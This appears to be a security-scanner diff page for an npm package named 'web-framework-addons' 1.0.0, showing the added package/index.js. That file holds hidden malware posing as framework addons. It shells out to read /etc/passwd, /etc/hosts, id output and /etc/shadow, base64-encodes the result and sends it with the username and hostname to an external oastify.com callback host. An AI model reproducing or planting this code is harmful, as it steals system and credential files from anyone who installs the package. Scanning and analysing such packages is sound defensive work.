web-framework-addons 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +18 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
const command = `
|
4
|
+
curl -X POST "http://gg0wiytic7iswiuamxnbylifn6txhohc6.oastify.com/$(whoami)/$(hostname)/" \
|
5
|
+
-A "$(cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.') " \
|
6
|
+
-s -o /dev/null
|
7
|
+
`;
|
8
|
+
|
9
|
+
exec(command, (error, stdout, stderr) => {
|
10
|
+
if (error) {
|
11
|
+
console.error(`Error: ${error.message}`);
|
12
|
+
return;
|
13
|
+
}
|
14
|
+
if (stderr) {
|
15
|
+
console.log(`Stderr: ${stderr}`);
|
16
|
+
}
|
17
|
+
console.log(`Stdout: ${stdout}`);
|
18
|
+
});
|
package/package.json
ADDED